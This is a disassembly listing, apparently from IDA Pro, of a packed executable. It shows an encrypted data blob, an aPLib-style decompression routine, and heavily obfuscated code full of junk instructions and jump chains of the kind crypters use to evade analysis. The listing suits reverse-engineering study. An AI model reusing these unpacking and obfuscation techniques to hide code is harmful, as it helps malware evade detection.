		dd 5ACB24B2h, 0AC652039h, 0ECFFC15Fh, 6DECFA0Ch, 0ADA7337Dh
		dd 0A9F64062h, 6D9833AFh, 0D1ACA10Bh, 645EA085h, 0A3E3D557h
		dd 846D1856h, 99557B47h, 622758BAh, 8787DF4Dh, 0CBDFCD0Bh
		dd 0FBE83EDFh, 0B144BF12h, 0BE1D7545h, 7A2B69A9h, 0DFB43924h
		dd 0C714F132h, 0DB21D4FBh, 44602E03h, 0B1617A76h, 0A12FE903h
		dd 0BA52A60Ch, 28AA5AF1h, 0A7E6BFE3h, 0C092B2F2h, 893714DCh
		dd 0C7B19600h, 0A1A06241h, 0C7759F02h, 9E3D61B7h, 0A9BCA1DAh
		dd 2635BB24h, 0C1541897h, 791D45B6h, 69B33588h,	0B562C48Ah
		dd 8FB087E0h, 0A2DA71E9h, 0ED7078F1h, 0A66F9D7Bh, 0D9DA232Ah
		dd 4857A3DFh, 3EDE6D7h,	0E49589E9h, 0AAD251DDh,	8867DAB1h
		dd 0D1CDBA6Eh, 0CDC68BA5h, 7305DEB4h, 0CD57C102h, 2FBC4460h
		dd 0AA37D938h, 0ADE4A836h, 66DA168Bh, 0A3EB4892h, 0DB045565h
		dd 0F32BE7E2h, 67112AE9h, 0A0FB5E79h, 0C48DC455h, 0A7734F4Eh
		dd 75697769h, 162EED32h, 4C99D4D1h, 4E15B768h, 0C240F80Ah
		dd 4EEDDF31h, 55BF6CBBh, 53CF9482h, 69C7590Fh, 55F36BAEh
		dd 6521B534h, 0F951BA9Ch, 0D89FADBAh, 0C96A80B2h, 2E9B5B76h
		dd 0D12500B9h, 0EAA586F6h, 457B2962h, 32AE3BA5h, 5FB83E6Ah
		dd 2ED68AADh, 0D1934D8Eh, 0AA382E0Bh, 45296D2Ah, 19F26BB7h
		dd 5E1AD21Ch, 0F95666F7h, 3D2FFF89h, 0EE2DEF88h, 7BDB709Dh
		dd 80F7A2C0h, 0A4225EE5h, 559EA236h, 4752EF8Ch,	2B591999h
		dd 0DFEB4315h, 5BE8FBF0h, 3C382C07h, 37447573h,	0AC95EB1Bh
		dd 0FA1DE663h, 265DE9E2h, 5A30D901h, 0C3C0BB6Ch, 0FA38E66h
		dd 0E4121B0Ah, 0A5EF7767h, 660A2A2Dh, 0EC6FD11Bh, 0EDA5C0FAh
		dd 0BA9E4E34h, 0ECBF0ABFh, 57854F5Dh, 0AA2DDA31h, 337E19D6h
		dd 0DA1298E4h, 0E3527B51h, 2756A637h, 66FEED30h, 0B4DE8541h
		dd 559EA3C3h, 0F0FA2CE0h, 0C6F4BC7Ah, 0CE859565h, 95A47571h
		dd 0BC5A21D4h, 51EBFEF5h, 1BDC48F5h, 586E3336h,	0C84CFBFDh
		dd 9E07E567h, 0A5B38225h, 87B1A552h, 541156E5h,	45A135F7h
		dd 0A366704Dh, 454F75F9h, 77AA88FEh, 8539563Ah,	1505D44Ch
		dd 0E7C3EFC3h, 0AF32A49Dh, 0D2BAF132h, 0FCAF3C47h, 52EB6263h
		dd 1D674D22h, 8448B20h,	8D4CA4B3h, 84EF6620h, 96E2FC79h
		dd 0A9F83E23h, 0F1867CCBh, 58387852h, 9CA483D5h, 81752253h
		dd 0F30CB757h, 497F959Ah, 0EB5A3E11h, 58155DBDh, 88568EBEh
		dd 688A9E32h, 0C1A4C0F3h, 0B1BBBB8Ah, 0A835ACC6h, 0E1F8FB86h
		dd 895ED4B2h, 0EA6A5406h, 53EAB7C8h, 0D42B0D08h, 0DAF0CAA1h
		dd 7955D4B0h, 27037EAFh, 87565DD3h, 332AA7FDh, 17BA4DAEh
		dd 0D103C11Bh, 0B3291BE2h, 0FC38AACEh, 7B6A4A4Fh, 0A310556Dh
		dd 0BDFCB85Ah, 37380FEBh, 5A8EF7C3h, 0F59751E5h, 6C756D0Ch
		dd 4DBE6805h, 67B135E6h, 6E612197h, 0A10BBA59h,	6D15493Dh
		dd 0FDD01B63h, 0FE46FB30h, 0EF67AD51h, 5C4D2657h, 98A5CADh
		dd 604C593Bh, 0C8D60D55h, 5A47CF3Fh, 8ABEF180h,	0EF7CD1A0h
		dd 0D643DC4Eh, 56D114A4h, 70D97254h, 142515A8h,	9C957484h
		dd 0DC287AA1h, 0F1BDBDB4h, 0AC8D836Bh, 86E1D329h, 46ADD8E2h
		dd 0BE69F6FAh, 5BAD5D90h, 0C7E975ADh, 46AFAE25h, 0FF4885A2h
		dd 4562BB48h, 4753C1EAh, 0A64EB825h, 0FE160B3Eh, 289B3148h
		dd 0E25C8924h, 0D45DD9Bh, 0C72243CBh, 0F5770AD7h, 7452CB6Ch
		dd 0AAD68C7Ch, 0C71BB015h, 0CF34A8AEh, 0BFF65FEDh, 0C2F25CE2h
		dd 0B0356B24h, 5356ED6Ah, 0CE0D02ABh, 68936697h, 986D1795h
		dd 0AFA6893Eh, 7AFD4EE3h, 2AEAF50Fh, 0B456687Eh, 0FE18D78h
		dd 0AACEB7D8h, 49E7EB5h, 95C9C9A1h, 0F74E96Bh, 44C8129Fh
		dd 1A5C3414h, 3D740B10h, 5F9327A0h, 0F97BC5FCh,	3C0EA686h
		dd 145F836Ch, 0B2971BACh, 4AFA010Eh, 0EC7F776Bh, 0AAFC9EE1h
		dd 5A0E2565h, 5830D74Bh, 82A6C084h, 0E07C7E28h,	56E3583Bh
		dd 194C17C3h, 40AB4D6Bh, 0E5DF3EF6h, 0CEDBD5E7h, 7CA52AF4h
		dd 0F02320CCh, 0D531EE7Eh, 46A59173h, 5CCE22BAh, 0D36C7D8Dh
		dd 2A5B5D4Ah, 4B72ED78h, 0BFADA212h, 0BBA2CD14h, 3299C1C9h
		dd 259085AAh, 0A2F202DBh, 2CAF03D1h, 0A0E6FDD4h, 0F071BAFBh
		dd 0D4478CC1h, 49ADE19Fh, 6626FC8Dh, 72B1B379h,	97D0544Ch
		dd 7D402A6Dh, 0EDD5AAF3h, 61E76BB8h, 0CACE1AADh, 0EA2853FDh
		dd 7AA1ECE0h, 4DB8ED74h, 4A01E7FCh, 0EB33ECD0h,	4D7EE68Bh
		dd 0A57F0846h, 36C78A64h, 5B75708Eh, 68A77286h,	83E3CA8Dh
		dd 0AE86142Ch, 0FAD5C6E7h, 446B2BADh, 1FD27561h, 42D6BD99h
		dd 69CCB1F5h, 2074AF8Fh, 68ED1CCCh, 4C217E8Ah, 8FA6B523h
		dd 6987E1Fh, 0C7797092h, 0A044F197h, 0F627D638h, 0C32B3805h
		dd 71355FE5h, 0A354EADEh, 34F5C2C1h, 0DB098764h, 426F0057h
		dd 6DC04B4Fh, 2C6D01C9h, 9FC9ECF1h, 0E6CD194Eh,	0F74394ADh
		dd 0AD978AF7h, 2F318BFCh, 3D7AA549h, 5B3BE969h,	22496AEEh
		dd 8A5E2DC1h, 14CF1AD8h, 0A75C6C5h, 0AE8C9604h,	5B3E112Dh
		dd 1B6A4391h, 192D2F05h, 0C1E0441Dh, 6461B49h, 0B955A0B9h
		dd 54B6E027h, 0BC07036Dh, 51D8A64Eh, 0D2367BCh,	9899CE07h
		dd 0DF70C8E0h, 8DEF7CD3h, 0AABE9383h, 0E37CB7D7h, 0F59A2973h
		dd 7E93569Eh, 0E33851D5h, 686D51B4h, 5362DC15h,	0ADD5067Bh
		dd 0FC6549Dh, 0C110F0DAh, 0ABDA3286h, 0F2F7772Eh, 67FB752Ah
		dd 0A6BC58BEh, 0EBB13E2h, 0A79F3343h, 0E9D66F93h, 0D4A6E668h
		dd 6D4AA792h, 0E3CD595Ah, 9DD80AFEh, 0C1620583h, 5DF0EB72h
		dd 0EEC129F5h, 0C7236873h, 72BEC2FFh, 0CC54A671h, 0F79025D0h
		dd 7054EAF7h, 0A7AC54CFh, 0BECB9301h, 0BA4383EFh, 8F288483h
		dd 10FE63D4h, 8DA8B362h, 0E575F291h, 87762E56h,	8C73AF84h
		dd 1595D092h, 0D5A88BE3h, 818E55E9h, 9B6D8016h,	0DA95C53Dh
		dd 9DAEAB10h, 0C87E2243h, 0DB770CB2h, 0ECDF54ECh, 57F825C9h
		dd 7426179Ch, 0CCF5BC76h, 3291F61Ah, 3A8F0542h,	39D6D9A3h
		dd 57F0581Fh, 0D592BB8Fh, 7464DD2Bh, 0B2EC8096h, 0E6455787h
		dd 8C31333Ch, 0D2581DEBh
		dd 0B9823561h, 62063F7Fh, 7BC31210h, 0D8F38952h, 0C15CC207h
		dd 0F78F4A7Eh, 34D69572h, 6A2BE7A1h, 147C46DDh,	2FF73D40h
		dd 0DA75A8F5h, 210EB962h, 0FD134508h, 41DF2ABFh, 225B0382h
		dd 0F5B1631h, 2C02AC0Bh, 32D4446Ah, 0E4983BA6h,	0FF66881Ah
		dd 2EB23623h, 8AAAD18Bh, 7F7965D0h, 6A728DF7h, 0A567454Bh
		dd 0DCEEDF6Bh, 3520898Fh, 55466581h, 0F9487139h, 6DF5A25Dh
		dd 6E500AD8h, 2D7B3228h, 76257588h, 0D2C19A9Dh,	57575937h
		dd 6F267688h, 1D8FD1C7h, 0C0D7A4F9h, 0FF5958BAh, 8262235Dh
		dd 0E02AC420h, 0D6CF6F54h, 75F3C32Dh, 8EB42BFCh, 0DF5B57C6h
		dd 6AA1EB77h, 0F7EF5Fh,	4EF470BAh, 0E5222B3Ch, 6F23A1D1h
		dd 382F1A40h, 74A672DCh, 922BF0Fh, 0ABB5B5F5h, 84B75C6Ah
		dd 226964BDh, 0EEAF3976h, 0C19AE1C3h, 0F05CDA43h, 85315BFDh
		dd 4EAF07B1h, 77DDE2E8h, 0DB666C91h, 39D88FEFh,	0E3C96CE7h
		dd 0D81F0576h, 95A8B62Bh, 9C843E6h, 0EDAC533Eh,	2E26EA47h
		dd 8CDD825Ah, 0DDC3E1F7h, 0AEFE2D19h, 0AA92B555h, 0B3AAF9B1h
		dd 0E96AEA85h, 0A4B7F155h, 0BF590FC0h, 705ECC0Bh, 0FF69D6DCh
		dd 4D227DA3h, 5C5655A4h, 8D2D52CFh, 19D7E325h, 0FDE5C2FEh
		dd 0BF7E0D56h, 93C559Dh, 94D252FDh, 0E126CF8Dh,	3699F02Ah
		dd 368DE5DBh, 0EEA652ADh, 58783C98h, 36078724h,	0CF712E0Ah
		dd 6FE588C6h, 0B67E8DC6h, 91AB7469h, 0B2AE7DD3h, 36D2C31Bh
		dd 0D3EA2133h, 0F8D6636Fh, 0C7BB279Eh, 0A08AD59h, 3CA883Ah
		dd 88D32A65h, 0AF0D7FF1h, 0BC3D8695h, 9F80E2B3h, 7B692446h
		dd 0C97C35ABh, 0C0574000h, 0CDD7h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439C1C	proc near		; DATA XREF: sub_43E113+3Ao

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439D9B SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cld
		push	ebx
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], edx
		mov	esi, eax
		mov	edi, edx
		cmp	word ptr [esi],	434Ah
		jnz	loc_439D5E
		add	esi, 0Ah
		mov	[ebp+var_C], 8
		xor	ebx, ebx
		mov	edx, 80000000h
		inc	ebx


loc_439C4D:				; CODE XREF: sub_439C1C+46j
					; sub_439C1C+8Dj ...
		xor	eax, eax
		call	sub_439D65
		jnb	short loc_439C64
		mov	ecx, [ebp+var_10]
		call	sub_439D7D
		add	al, [ebp+var_11]


loc_439C61:				; CODE XREF: sub_439C1C+65j
		stosb
		jmp	short loc_439C4D
; ---------------------------------------------------------------------------


loc_439C64:				; CODE XREF: sub_439C1C+38j
		call	sub_439D65
		jb	loc_439D06
		call	sub_439D65
		jnb	short loc_439CD1
		mov	ecx, 4
		call	sub_439D7D
		dec	eax
		jz	short loc_439C61
		jns	loc_439D50
		call	sub_439D65
		jnb	short loc_439CAB
		push	ebp


loc_439C91:				; CODE XREF: sub_439C1C+8Aj
		mov	ebp, 100h


loc_439C96:				; CODE XREF: sub_439C1C+83j
		call	sub_439D72
		mov	[edi], al
		inc	edi
		dec	ebp
		jnz	short loc_439C96
		call	sub_439D65
		jb	short loc_439C91
		pop	ebp
		jmp	short loc_439C4D
; ---------------------------------------------------------------------------


loc_439CAB:				; CODE XREF: sub_439C1C+72j
		mov	ecx, 1
		call	sub_439D7D
		add	eax, 7
		mov	[ebp+var_10], eax
		mov	[ebp+var_11], 0
		cmp	eax, 8
		jz	short loc_439C4D
		call	sub_439D72
		mov	[ebp+var_11], al
		jmp	loc_439C4D
; ---------------------------------------------------------------------------


loc_439CD1:				; CODE XREF: sub_439C1C+58j
		mov	ecx, 7
		call	sub_439D7D
		push	eax
		mov	ecx, 2
		call	sub_439D7D
		mov	ecx, eax
		inc	ecx
		inc	ecx
		pop	eax
		or	eax, eax
		jz	short loc_439CF3
		mov	ebx, eax
		jmp	short loc_439D51
; ---------------------------------------------------------------------------


loc_439CF3:				; CODE XREF: sub_439C1C+D1j
		cmp	ecx, 2
		jz	short loc_439D5E
		inc	ecx
		call	sub_439D7D
		mov	[ebp+var_C], eax
		jmp	loc_439C4D
; ---------------------------------------------------------------------------


loc_439D06:				; CODE XREF: sub_439C1C+4Dj
		call	sub_439D89
		dec	ecx
		loop	loc_439D17
		mov	eax, ebx
		call	sub_439D89
		jmp	short loc_439D51
; ---------------------------------------------------------------------------


loc_439D17:				; CODE XREF: sub_439C1C+F0j
		dec	ecx
		mov	eax, ecx
		push	ebp
		mov	ecx, [ebp+var_C]
		mov	ebp, eax
		xor	eax, eax
		shl	ebp, cl
		call	sub_439D7D
		or	eax, ebp
		pop	ebp
		mov	ebx, eax
		call	sub_439D89
		cmp	eax, 10000h
		jnb	short loc_439D4E
		cmp	eax, 37FFh
		jnb	short loc_439D4F
		cmp	eax, 27Fh
		jnb	short loc_439D50
		cmp	eax, 7Fh
		ja	short loc_439D51
		inc	ecx


loc_439D4E:				; CODE XREF: sub_439C1C+11Cj
		inc	ecx


loc_439D4F:				; CODE XREF: sub_439C1C+123j
		inc	ecx


loc_439D50:				; CODE XREF: sub_439C1C+67j
					; sub_439C1C+12Aj
		inc	ecx


loc_439D51:				; CODE XREF: sub_439C1C+D5j
					; sub_439C1C+F9j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_439C4D
; ---------------------------------------------------------------------------


loc_439D5E:				; CODE XREF: sub_439C1C+19j
					; sub_439C1C+DAj
		mov	eax, esi
		pop	esi
		pop	edi
		pop	ebx
		jmp	short loc_439D9B
sub_439C1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_439D65	proc near		; CODE XREF: sub_439C1C+33p
					; sub_439C1C:loc_439C64p ...
		add	edx, edx
		jnz	short locret_439D71
		mov	edx, [esi]
		add	esi, 4
		stc
		adc	edx, edx

locret_439D71:				; CODE XREF: sub_439D65+2j
		retn
sub_439D65	endp


; =============== S U B	R O U T	I N E =======================================



sub_439D72	proc near		; CODE XREF: sub_439C1C:loc_439C96p
					; sub_439C1C+A8p
		mov	ecx, 8
		call	sub_439D7D
		retn
sub_439D72	endp


; =============== S U B	R O U T	I N E =======================================



sub_439D7D	proc near		; CODE XREF: sub_439C1C+3Dp
					; sub_439C1C+5Fp ...
		xor	eax, eax


loc_439D7F:				; CODE XREF: sub_439D7D+9j
		call	sub_439D65
		adc	eax, eax
		loop	loc_439D7F
		retn
sub_439D7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_439D89	proc near		; CODE XREF: sub_439C1C:loc_439D06p
					; sub_439C1C+F4p ...
		xor	ecx, ecx
		inc	ecx


loc_439D8C:				; CODE XREF: sub_439D89+Fj
		call	sub_439D65
		adc	ecx, ecx
		call	sub_439D65
		jb	short loc_439D8C
		retn
sub_439D89	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C1C


loc_439D9B:				; CODE XREF: sub_439C1C+147j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_439C1C
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_439DA0	proc near		; DATA XREF: sub_43E10Do
					; sub_43E113+29o

; FUNCTION CHUNK AT 0043AB23 SIZE 00000014 BYTES

		cdq
		jmp	loc_43AB23
sub_439DA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		pop	ecx
		xchg	ecx, [esp]
		mov	ebp, ecx
		pop	ecx
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_237. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	ecx, offset word_43BFD6
		jmp	loc_43AB73
; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF7B


loc_439DC1:				; CODE XREF: sub_43DF7B+Aj
		jmp	loc_43A03C
; END OF FUNCTION CHUNK	FOR sub_43DF7B
; ---------------------------------------------------------------------------
		dw 0E900h		; CODE XREF: _5qvhby1c:0043C0E5j
; ---------------------------------------------------------------------------
		cmp	eax, 29h
		or	edi, 55C67203h
		jmp	loc_43B891
; ---------------------------------------------------------------------------
		and	ebp, 8FDE2F5Dh
		add	eax, 0BBAD45E5h
		or	eax, 45DD4014h
		push	offset dword_43D0F8
		jmp	loc_43BF29
; ---------------------------------------------------------------------------
		dd 0CA0B0000h, 0F7BE9h,	81000000h, 3B3BAEC0h, 96F08132h
		dd 3C538EEh, 0BAC081C5h, 7A95AA9Ch, 54AA9D00h, 2BE9E005h
		dd 0E8000013h, 1A55h, 8EE90000h, 23h, 3F40E9h, 0C7810000h
		dd 0FB837CFAh, 12EAE99Dh, 87000000h, 1C872414h,	5BD38B24h
		dd 0E2E9C503h, 2Bh, 0E900C300h,	3F10h, 40DCE900h, 0
; ---------------------------------------------------------------------------


loc_439E60:				; CODE XREF: _5qvhby1c:0043A697j
		jmp	loc_43C96E
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_439E68	proc near		; CODE XREF: sub_43B7F1-D1Ep
		push	offset word_43C536
		jmp	nullsub_221
sub_439E68	endp

; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		or	al, 24h
		push	ebp
		mov	ebp, esi
		xchg	ebp, [esp]
		pushf
		push	308F6D4Ch
		pop	esi
		jmp	loc_43D313
; ---------------------------------------------------------------------------
		db  0Fh
		db  86h	; 
		db 0E9h	; 
		db  22h	; "
		db    0
		db    0
		db 0E9h	; 
		db  74h	; t
		db  3Bh	; ;
		db    0
		db    0
		align 4
; START	OF FUNCTION CHUNK FOR sub_43B655


loc_439E94:				; CODE XREF: sub_43B655:loc_43BFF6j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_43B70A
		call	sub_43B6FF
; END OF FUNCTION CHUNK	FOR sub_43B655
; ---------------------------------------------------------------------------
		db 0
		db    0
		db  87h	; 
		db    4
		db  24h	; $
		db  8Bh	; 
		db 0C8h	; 
		db  58h	; X
		db  87h	; 
		db    4
		db  24h	; $
		db 0E9h	; 
		db 0BBh	; 
		db  0Ch
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_439EB4:				; CODE XREF: sub_43B7F1:loc_43DDB3j
		js	loc_43D16C
		mov	edx, [eax]
		or	edx, edx
		jz	sub_43B7FC
		jmp	loc_43AD69
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 0C3h
		dd 81D2F325h, 0B3B574C7h, 1A8FE82Fh, 87000000h,	5682414h
		dd 0E90043ACh, 22FBh, 0C60000h,	875D58C3h, 0E88B2404h
		dd 0C300C358h, 1680000h, 0E90043B2h, 1E46h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C14F


loc_439F05:				; CODE XREF: sub_43C14F:loc_43D7C4j
					; _5qvhby1c:0043DD56j
		mov	ebx, edx
		xchg	ebx, [esp+0]
		push	9590008Ah
		pop	edx
		rol	edx, 15h
		push	offset loc_43D160
		jmp	nullsub_231
; END OF FUNCTION CHUNK	FOR sub_43C14F
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C6h
		dd 68588B00h, 3DB22803h, 0E4685058h, 0E954F370h, 1158h
		dd 0BFAB6800h, 0ACE90043h, 5, 87240487h, 0C18B240Ch, 1A716859h
		dd 815F5A02h, 2CC83CEFh, 0B8066878h, 0A4E90043h, 0F000018h
		dd 2D7082h, 81FA1B00h, 286801E0h, 14C0C1B9h, 0B394C881h
		dd 0A5E948D0h, 2Ch, 4671F281h, 5A68F167h, 0E90043D9h, 3D24h
		dd 0E2A7689Ch, 0C15A4450h, 0CA8115C2h, 0EB1066F1h, 61AE8h
		dd 0BC2E900h, 7D830000h, 840F00F8h, 33A2h, 43B55168h, 62CE900h
		dd 81000000h, 9D095CEAh, 2364E972h, 0C30000h, 317AC181h
		dd 0F5E9B53Bh, 27h, 15FC6800h, 81581ACCh, 9AAA13E8h, 0E7E08148h
		dd 0F70C98EDh, 40000C0h, 2BBFE900h, 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A7DE


loc_439FF7:				; CODE XREF: sub_43A7DE:loc_43C502j
		push	edx
		mov	edx, offset loc_43C15B
		jmp	loc_43D140
; END OF FUNCTION CHUNK	FOR sub_43A7DE
; ---------------------------------------------------------------------------
		dw 0F00h
		dd 0DFE8Ch, 0BD000000h,	0ADE789DAh, 1285890Fh, 0E6E90000h
		dd 0Dh,	14E9C585h, 81000009h, 0BC521AC0h, 0B3F08142h, 815A7A43h
		dd 0F899D9C0h, 0FE05E8D5h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF7B


loc_43A03C:				; CODE XREF: sub_43DF7B:loc_439DC1j
		push	(offset	loc_43CADE+1)
		jmp	loc_43BE84
; END OF FUNCTION CHUNK	FOR sub_43DF7B
; ---------------------------------------------------------------------------
		dw 9600h
; ---------------------------------------------------------------------------
		xchg	esi, [esp]
		retn
; ---------------------------------------------------------------------------
		dd 0E9108B00h, 2E3Fh, 243C8700h, 0BABF575Fh, 0E90043C1h
		dd 0AFDh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C14F


loc_43A066:				; CODE XREF: sub_43C14F:loc_43C28Bj
		mov	byte ptr [ebx],	87h
		pop	ebx
		push	537D718Fh
		pop	eax
		jmp	loc_43BF93
; END OF FUNCTION CHUNK	FOR sub_43C14F
; ---------------------------------------------------------------------------
		mov	esi, 0B02B596Eh
		jmp	sub_43A156
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------


loc_43A081:				; DATA XREF: sub_43A382:loc_43DC80o
		add	eax, 0AC739EFDh
		push	offset loc_43A332
		jmp	loc_43CD50
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
; ---------------------------------------------------------------------------
		imul	dword ptr [edi+41h]
		retf	0E92Bh
; ---------------------------------------------------------------------------
		dw 79Ch
		dd 0DF850000h, 3345E9h,	14870000h, 358B5A24h, 43B138h
		dd 43C10668h, 2044E900h, 0
; ---------------------------------------------------------------------------


loc_43A0BC:				; CODE XREF: _5qvhby1c:0043CECFj
		sbb	eax, edi
		xor	ebp, 0E181E025h
		test	eax, 7D91D6D9h
		jmp	loc_43A20B
; ---------------------------------------------------------------------------
		align 10h


loc_43A0D0:				; DATA XREF: sub_43B655:loc_43B70Ao
		push	esi
		mov	esi, offset loc_43DE20
		jmp	loc_43AC1D
; ---------------------------------------------------------------------------
		align 4
		dd 0E9CB3300h, 1BF8h, 0A5E9C785h, 38h, 9C880F00h, 87000023h
		dd 9D5A2414h, 14C1E9h, 68000000h, 43AFE7h, 3192E9h, 7C60000h
		dd 0C1E85F03h, 81000037h, 0E452EDE3h, 8C3C130h,	8FBBF381h
		dd 0DD030A97h, 2712E8h,	0C30000h, 1D84E900h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7FC


loc_43A133:				; CODE XREF: sub_43B7FC+1j
		mov	ebx, offset loc_43CE82
		jmp	loc_43B6DD
; END OF FUNCTION CHUNK	FOR sub_43B7FC
; ---------------------------------------------------------------------------
		align 2
		dw 94E8h
		dd 20h,	3B2FE900h, 0C2810000h, 0B13EE6D7h, 2436E9h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43A156	proc near		; CODE XREF: _5qvhby1c:0043A07Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043C163 SIZE 00000012 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, nullsub_234
		call	sub_43DB36
		add	[edx+7F792AD7h], bh
		jmp	loc_43C163
sub_43A156	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0C30000h, 241C8700h,	8B241487h, 0FD035ADAh, 7BB5C781h
		dd 3CE99743h, 3Bh, 5BE8E0Fh, 0F6810000h, 0B0F0B7E2h, 87D38B52h
		dd 92BB2414h, 0E90043AAh, 24F4h, 0C2F36800h, 0F1E94134h
		dd 3Ch,	87D88B53h, 76B8241Ch, 0E90043A2h, 22D9h, 0C30000h
		dd 0EE08100h, 81642924h, 8485ECC0h, 55C881E3h, 816C8EA4h
		dd 95F73F0h, 3ABBE9D1h,	0F6810000h, 0A9921114h,	330CE8h
		dd 18E95600h, 25h, 0C4096800h, 49E90043h, 23h, 0A1E9D00Bh
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_43A20B:				; CODE XREF: _5qvhby1c:0043A0CAj
		jnz	loc_43DAC3


loc_43A211:				; CODE XREF: _5qvhby1c:loc_43CEC0j
		add	edi, 3508EB14h
		call	sub_43B845


loc_43A21C:				; CODE XREF: _5qvhby1c:loc_43AB73j
		push	offset dword_43BFCC
		jmp	locret_43DB78
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 1FBAE900h, 0E9000000h, 35C2h, 55E90000h, 27h, 0E900C300h
					; CODE XREF: _5qvhby1c:0043CEAEj
		dd 2416h, 0FFFBE9E9h, 0C300FFh,	240AE9h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C14F


loc_43A253:				; CODE XREF: sub_43C14F+1D4Fj
		push	edx
		call	sub_43B7F1
		add	cl, ch
		retf
; END OF FUNCTION CHUNK	FOR sub_43C14F
; ---------------------------------------------------------------------------
		dd 1BFFFFFEh, 2069E9F1h, 0 ; CODE XREF:	_5qvhby1c:loc_43D17Dj
; ---------------------------------------------------------------------------

locret_43A268:				; CODE XREF: _5qvhby1c:0043C35Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B893


loc_43A269:				; CODE XREF: sub_43B893+Dj
		jmp	loc_43D288
; END OF FUNCTION CHUNK	FOR sub_43B893
; ---------------------------------------------------------------------------
		align 10h
		xchg	eax, [esp]
		mov	ebp, eax
		pop	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_43A278:				; DATA XREF: _5qvhby1c:loc_43D910w
		push	offset byte_43BDC7


loc_43A27D:				; DATA XREF: _5qvhby1c:0043D917w
		jmp	loc_43D0F3
; ---------------------------------------------------------------------------
		align 4


loc_43A284:				; CODE XREF: _5qvhby1c:0043A82Fj
		jp	near ptr dword_439F20+62h
		test	ebp, ecx
		jmp	loc_43AA6F
; ---------------------------------------------------------------------------
		db  81h	; 
		db 0E8h	; 
		db  6Fh	; o
		db  8Dh	; 
		db 0D1h	; 
		db  42h	; B
		db 0F7h	; 
		db 0C0h	; 
		db    0
		db    1
		db    0
		db    0
		db 0E9h	; 
		db 0CBh	; 
		db  1Bh
		db    0
		db    0
		db 0C6h	; 
		db    3
		db  89h	; 
		db  5Bh	; [
		db  81h	; 
		db 0C6h	; 
		db 0D5h	; 
		db  97h	; 
		db  3Dh	; =
		db  57h	; W
		db 0E8h	; 
		db  1Dh
		db  1Eh
		db    0
		db    0
		db    0
		db  0Fh
		db  8Ah	; 
		db  1Fh
		db  32h	; 2
		db    0
		db    0
		db  87h	; 
		db  3Ch	; <
		db  24h	; $
		db  87h	; 
		db  2Ch	; ,
		db  24h	; $
		db  8Bh	; 
		db 0FDh	; 
		db 0E9h	; 
		db 0DBh	; 
		db  0Bh
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_43A2C6:				; CODE XREF: _5qvhby1c:0043AD71j
		xchg	esi, [esp]
		pop	esi
		xchg	ecx, [esp]
		call	sub_43B4B3
; ---------------------------------------------------------------------------
		db    0
		db    0
; ---------------------------------------------------------------------------
		xchg	edx, [esp]
		mov	esi, edx
		pop	edx
		push	edx
		mov	edx, offset byte_43B1D9
		jmp	loc_43D561
; ---------------------------------------------------------------------------
		db 2 dup(0), 3
		dd 3102E8F5h, 0
; ---------------------------------------------------------------------------
		lea	eax, [ebp-6Eh]
		push	0F8BE3F8Fh
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		xor	edx, 0A0CF70C1h
		jmp	loc_43C7FB
; ---------------------------------------------------------------------------
		align 2
		dw 8A0Fh
		dd 1D0Fh, 5E243487h, 0F8E8C031h, 2Dh, 2467860Fh, 9C990000h
		dd 0B7A1E981h, 0E958D6E8h, 0FFFFFEC9h
